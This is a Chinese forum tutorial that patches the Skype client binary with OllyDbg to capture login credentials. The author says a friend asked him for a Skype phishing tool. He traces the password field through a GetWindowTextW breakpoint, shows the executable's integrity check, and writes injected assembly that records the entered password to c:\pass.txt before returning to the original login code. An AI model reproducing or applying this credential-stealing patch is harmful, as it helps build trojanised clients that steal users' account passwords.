原文:https://www.pediy.com/kssd/pediy11/107948.html
【文章标题】: 对Skype的Pediy
【文章作者】: Monster[B.S.T]
【作者邮箱】: suphack@vip.qq.com
【作者主页】: www.bugging.com.cn
【作者QQ号】: 389264167
【软件名称】: Skype
【下载地址】: 自己搜索下载
【编写语言】: C
【使用工具】: OllyDBG
【作者声明】: 只是感兴趣,没有其他目的。失误之处敬请诸位大侠赐教!
--------------------------------------------------------------------------------
【详细过程】
写这个这个文章很久了,发在www.bugging.com.cn上一直没人看,今天发到这里来
好悲哀啊,恐怖的高考终于结束了,都好久没来上网了,技术又退步了N多啊,现在正好有空,就过来放松下,刚上QQ,一哥们就给我找上活了,让我给他做个Skype的钓鱼软件,哎,我就日了,本来就没时间上网,结果一上网就搞这些没技术含量的活,技术不退步才怪呢!
做了一个多小时,生成出来看看,这下对自己的审美观是彻底没信心了,VC用惯了,VS死不上手,日了。
一看到这里就再没有信心继续做下去了,不急,先来根黑兰州香烟缓缓神。抽完烟后效果果然是不一样,突然灵机一动,哎,我笨啊,就这么做界面,肯定做不完美啊,那我们就直接用它原来的界面,对它进行一次PEDIY吧。
PEDIY就是我们常说的代码二次开发,也就是在没有原码,没有接口的情况下对可执行文件进行扩充。对于代码的二次开发,一般来说有两种办法:
一、利用汇编代码直接增加我们需要的功能。
二、利用汇编代码增加一个接口,然后使用高级语言开发我们需要的功能。
对于第二种就是用高级语言写一函数做为输出函数,然后在原程序里直接Call调用就可以了。这里我们就来使用第一种方法,毕竟我们只需要一个记录密码的小功能,用不着太麻烦。
我们先拿出PEID来检查一下文件,结果说是用“Borland Delphi 6.0 - 7.0 [Overlay]”写的,可我在后来的分析中,根据发现是用C++ Builder写的,哎这什么年头啊,连PEID这小子都学会骗人了,真他妈的不让人活了。
接着我们把Skype加载到OD里分析一下,20多M的东西一下加载到OD里,我可怜的机子本来就很破,这下差点卡死……%%5555%%!#¥%……*()_+等了半天终于加载完成了,我们按F9让Skype在OD中先运行起来,到输入帐号密码的时候,我们使用命令插件执行命令“BP GetWindowTextA”看看能不能断下,结果却没有用,再“BP GetWindowTextW”试试,结果还真断下了。
先不管了,分析先,等我们分析完了再慢慢BS他。我们随便输入个帐号密码登录试试,结果刚输入一个字母程序就被断下了,我汗死,回到OD中,按Alt+B打开断点列表窗口,把刚才我们对GetWindowTextW下的那个断点先给删了,再按F9让它运行起来。
等到我们已经把帐号和密码都输入完了,现在我们再回到OD中,继续“BP GetWindowTextW”来下断,然后点一下登录按钮,程序就被OD断下了。
现在我们的OD正处于系统领空,我们先按Alt+F9让它返回程序领空,返回后的代码如下:
00492503 push eax ; |压入目标编辑框的句柄 00492504 call <jmp.&user32.GetWindowTextW> ; \取出编辑框中的内容 00492509 mov eax,dword ptr ds:[esi] ; 把从编辑框中取出的内容放到eax里 我们继续F8跟踪,等我们遇到一个Retn时,程序又返回到这里,代码如下: 0063E637 call Skype1.004BBBEC ; 获取编辑框内容,我们刚才就是从这个Call里出来的 0063E63C mov eax,dword ptr ss:[ebp-8] ; 把得到的内容放到eax里
0063E63C mov eax,dword ptr ss:[ebp-8]
00E17C7F test al,al ; 自校验是否通过 00E17C81 jnz short Skype.00E17CA0 ; 通过则跳走 00E17C83 push 30 ; /Style = MB_OK|MB_ICONEXCLAMATION|MB_APPLMODAL 00E17C85 push Skype.00E17F30 ; |Title = "Skype" 00E17C8A push Skype.00E17F38 ; |Text = "Error: Unfortunately the Skype executable is corrupted. Please re-install." 00E17C8F push 0 ; |hOwner = NULL 00E17C91 call <jmp.&user32.MessageBoxA> ; \弹出对话框 00E17C96 push 26AD ; /ExitCode = 26AD 00E17C9B call <jmp.&kernel32.ExitProcess> ; \结束程序
HANDLE CreateFile( LPCTSTR lpFileName, DWORD dwDesiredAccess, DWORD dwShareMode, LPSECURITY_ATTRIBUTES lpSecurityAttributes, DWORD dwCreationDisposition, DWORD dwFlagsAndAttributes, HANDLE hTemplateFile ); BOOL WriteFile( HANDLE hFile, LPCVOID lpBuffer, DWORD nNumberOfBytesToWrite, LPDWORD lpNumberOfBytesWritten, LPOVERLAPPED lpOverlapped ); BOOL CloseHandle( HANDLE hObject );
pushad \\保存现场 push [esp-48] \\保存密码长度到堆栈 push [ebp-34] \\保存密码到堆栈 push 0 push 80 push 4 push 0 push 3 push C0000000 push 00E133B8 \\00E13FE5指向字符串"c:\\pass.txt" call 00E68704 \\调用CreateFileW函数来打开文件 push eax \\保存句柄到堆栈 lea eax,[esp-8] \\传密码长度指针到eax push 0 push eax push [esp+10] push [esp+10] push [esp+10] call 00E684E0 \\调用WriteFile函数来写入密码到文件 call 00E68720 \\调用ColseHadnle函数来关闭文件 add esp,0C \\平衡堆栈 popad \\恢复现场 mov eax,[ebp-8] lea edx,[ebp-4] \\这是从上面抽出的两句代码 jmp 0063E642 \\跳回原代码 写完这里以后我们再看看上面的代码: 0063E637 call Skype1.004BBBEC ; 获取编辑框内容 0063E63C mov eax,dword ptr ss:[ebp-8] ; 把得到的内容放到eax里 0063E63F lea edx,dword ptr ss:[ebp-4] 0063E642 call Skype1.004DB334 现在我们把这里修改成: call 004BBBEC \\原来的call jmp 00E133B8 \\跳到我加增加的代码处 nop \\这里少了两句代码,我在上面加上了 call 004DB334 \\原来的call